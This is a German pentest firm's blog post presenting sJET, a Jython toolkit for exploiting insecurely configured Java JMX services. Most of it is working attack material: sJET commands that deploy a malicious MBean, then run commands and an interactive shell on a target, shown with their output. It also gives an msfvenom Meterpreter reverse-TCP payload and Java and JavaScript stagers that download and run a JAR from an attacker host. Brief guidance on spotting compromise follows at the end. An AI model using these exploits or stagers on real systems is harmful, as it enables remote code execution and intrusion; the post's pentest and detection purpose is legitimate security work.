Die siberas GmbH ein auf Sicherheitsanalysen und Penetrationstests spezialisiertes Beratungsunternehmen, welches Sie herstellerunabhängig und kompetent im Bereich IT-Sicherheit berät.
Before I joined siberas, I created a tool with the name “MJET” (Mogwai JMX Exploitation Toolkit) that allowed an easy exploitation of insecure configured Java JMX (Java Management Extensions) services. If you need some additional background information about JMX exploitation I recommend to take a look at this blog post by Braden Thomas and the slides from my OWASP presentation from 2015.
MJET consisted of two parts:
Time moves on, but insecurely configured JMX services are still quite a common thing that we regularly encounter during engagements. Unfortunately, it is no longer possible to use MJET, mainly because certain parts in the Metasploit framework have changed since I developed the tool.
Additionally, Metasploit now provides its own JMX exploit module. The Metasploit version is a 100% Ruby implementation that uses the Java Object Serialization implementation from Juan Vazquez. This basically rendered MJET obsolete.
The Metasploit module, however, has a serious drawback: It seems to work well for Linux/Unix targets, but Windows systems can’t be exploited reliably. The payload gets deployed, however the call to execute it on the target fails. I was not able to identify what caused this, I assume it has someting to do with timing.
This is why I decided to rewrite MJET, with these additional goals:
The new version is called sJET (siberas JMX Exploitation Toolkit), obviously. sJET can be found on our Github account.
For sJET we used Jython 2.7, an implementation of the Python language for the Java platform. This allows us to use directly call the necessary Java classes/methods while keeping the advantages of having an editable Python script. The MBean that gets installed on the target is still written in Java.
The main implementation/testing work on sJET was done by our intern Patricio Reller who did an awesome job!
sJET provides different “modes” which are described briefly here.
The “install” mode is used to deploy the payload on the target and must be executed first. Installing the payload includes the following steps:
In the following example, the vulnerable target JMX service runs on 192.168.11.136, TCP port 9991. The attacker has the IP address 192.168.11.132. The web service will be started on port 8000. The password is set to “super_secret”
h0ng10@rocksteady:~/sjet$ jython sjet.py 192.168.11.136 9991 super_secret install http://192.168.11.132:8000 8000
sJET - siberas JMX Exploitation Toolkit
=======================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Connected: rmi://192.168.11.132 1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://192.168.11.132:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET / HTTP/1.1" 200 -
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET /siberas_mlet.jar HTTP/1.1" 200 -
[+] Successfully loaded MBeanSiberas:name=payload,id=1
[+] Changing default password...
[+] Loaded de.siberas.lab.SiberasPayload
[+] Successfully changed password
h0ng10@rocksteady:~/sjet$
After we successfully installed the payload MBean, we can directly invoke OS commands on the target via command mode:
h0ng10@rocksteady:~/sjet$ jython sjet.py 192.168.11.136 9991 super_secret command "ls -la"
sJET - siberas JMX Exploitation Toolkit
=======================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Connected: rmi://192.168.11.132 2
[+] Loaded de.siberas.lab.SiberasPayload
[+] Executing command: ls -la
total 16
drwxr-xr-x 4 root root 4096 Aug 22 16:12 .
drwxr-xr-x 66 root root 4096 Aug 22 16:12 ..
lrwxrwxrwx 1 root root 12 Mär 29 01:46 conf -> /etc/tomcat8
drwxr-xr-x 2 tomcat8 tomcat8 4096 Mär 29 01:46 lib
lrwxrwxrwx 1 root root 17 Mär 29 01:46 logs -> ../../log/tomcat8
drwxrwxr-x 3 tomcat8 tomcat8 4096 Aug 22 16:12 webapps
lrwxrwxrwx 1 root root 19 Mär 29 01:46 work -> ../../cache/tomcat8
[+] Done
h0ng10@rocksteady:~/sjet$
We can also use the shell mode to get a interactive shell. This is faster as you don’t need to start Jython every time you want to enter a command. You can exit the shell mode by typing “exit_shell”
h0ng10@rocksteady:~/sjet$ jython sjet.py 192.168.11.136 9991 super_secret shell
sJET - siberas JMX Exploitation Toolkit
=======================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Connected: rmi://192.168.11.132 3
[+] Use command 'exit_shell' to exit the shell
>>> ping -c 3 127.0.0.1
[+] Loaded de.siberas.lab.SiberasPayload
[+] Executing command: ping -c 3 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.075 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.046 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.044 ms
--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2050ms
rtt min/avg/max/mdev = 0.044/0.055/0.075/0.014 ms
>>> exit_shell
[+] Done
h0ng10@rocksteady:~/sjet$
If you want do some more advanced stuff, the JavaScript mode is for you. sJET allows you to invoke the JavaScript implementation that comes with JDK (Nashorn for JDK8 or Rhino for JDK6/7) with a custom script. As you can invoke arbitrary Java methods from here, the JavaScript mode provides RCE without touching disk.
The following basic example displays the Java environment variables:
// load Java classes in JavaScript namespace
var System = Java.type("java.lang.System");
var properties = System.getProperties();
for each (var key in properties.keySet()) {
print(key + "=" + properties[key]);
}
You can invoke the script on the target as follows:
h0ng10@rocksteady:~/sjet$ jython sjet.py 192.168.11.136 9991 super_secret javascript scripts/javaproperties.js
sJET - siberas JMX Exploitation Toolkit
=======================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Connected: rmi://192.168.11.132 4
[+] Loaded de.siberas.lab.SiberasPayload
[+] Executing script
java.vendor=Oracle Corporation
sun.java.launcher=SUN_STANDARD
catalina.base=/var/lib/tomcat8
sun.management.compiler=HotSpot 64-Bit Tiered Compilers
catalina.useNaming=true
os.name=Linux
...
java.vm.name=OpenJDK 64-Bit Server VM
file.encoding=UTF-8
java.specification.version=1.8
h0ng10@rocksteady:~/sjet$
If you want to have a Meterpreter shell on the target, you need to provide the payload as a JAR file on a web server first. You can use “msfvenom” to generate the JAR file:
h0ng10@rocksteady:~/metasploit-framework$ ./msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.20 LPORT=4444 -f jar -o /tmp/payload/javameterpreter.jar
Payload size: 5124 bytes
Final size of jar file: 5124 bytes
Saved as: /tmp/payload/javameterpreter.jar
h0ng10@rocksteady:~/metasploit-framework$
For example, you can use Python’s “SimpleHTTPServer” module to spin up a minimal web server in the payload directory:
h0ng10@rocksteady:/tmp/payload$ python -m "SimpleHTTPServer"
Serving HTTP on 0.0.0.0 port 8000 ...
The next thing we need is a small JavaScript stager that loads the JAR file from the remote web server and invokes the main method of the “metasploit.payload” class. Let’s look how this is done in Java:
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
public class LoadMeterpreter {
public static void main(String[] args) {
try {
URL[] payloadURLs = new URL[1];
payloadURLs[0] = new URL("http://192.168.1.20:8000/javameterpreter.jar");
String[] params = new String[] {""};
URLClassLoader payloadClassLoader = new URLClassLoader(payloadURLs, "".getClass().getClassLoader());
Class payloadClass = Class.forName ("metasploit.Payload", true, payloadClassLoader);
Method mainMethod = payloadClass.getDeclaredMethod ("main", params.getClass());
Object result = mainMethod.invoke(null, new Object[] {params});
} catch (Exception e) {
e.printStackTrace();
}
}
}
And here the “Java based JavaScript” version which you can find in the “scripts” directory of sJET:
// url of the jar file
payloadURL = "http://192.168.1.20:8000/javameterpreter.jar"
// load Java classes in JavaScript namespace
var URL = Java.type("java.net.URL");
var URLClassLoader = Java.type("java.net.URLClassLoader");
var Class = Java.type("java.lang.Class");
var Method = Java.type("java.lang.reflect.Method");
var URLArray = Java.type("java.net.URL[]");
var StringArray = Java.type("java.lang.String[]")
var ObjectArray = Java.type("java.lang.Object[]")
payloadURLs = new URLArray(1);
payloadURLs[0] = new URL(payloadURL);
paramsArray = new StringArray(0);
objectArray = new ObjectArray(1);
objectArray[0] = paramsArray;
// Load payload jar and invoke main method of metasploit.Payload
urlClassLoader = new URLClassLoader(payloadURLs, "".getClass().getClassLoader())
payloadClass = Class.forName("metasploit.Payload", true, urlClassLoader);
method = payloadClass.getDeclaredMethod("main", paramsArray.getClass())
method.invoke(null, objectArray)
Of course, it would also be possible to directly load Meterpreter from JavaScript and avoiding the call to an external URL. However, the attacker should be able to access an external URL via JMX, otherwise he wouldn’t be able to install the malicious MBean in the first place.
Note: After I added this section, I discovered that I basically wrote a short version of this excellent blog post by Rich.
As it is not possible to “unload” a previously loaded class in the Java Classloader, a successful attacker will leave some traces on the system. They can easily be identified by using the “jconsole” GUI.
You can see two interesting MBeans here:
Please take into account that the attacker might be able to restart the Java service on a compromised machine, removing all previously loaded MBeans. Hence you should also check existing logs for unexpected service restarts.
That’s all for now. If you have any questions, feel free to contact me on Twitter.
Hans-Martin
tool 2 pentest 2 sjet 1 mjet 1 jmx 1 ioc 1 java 1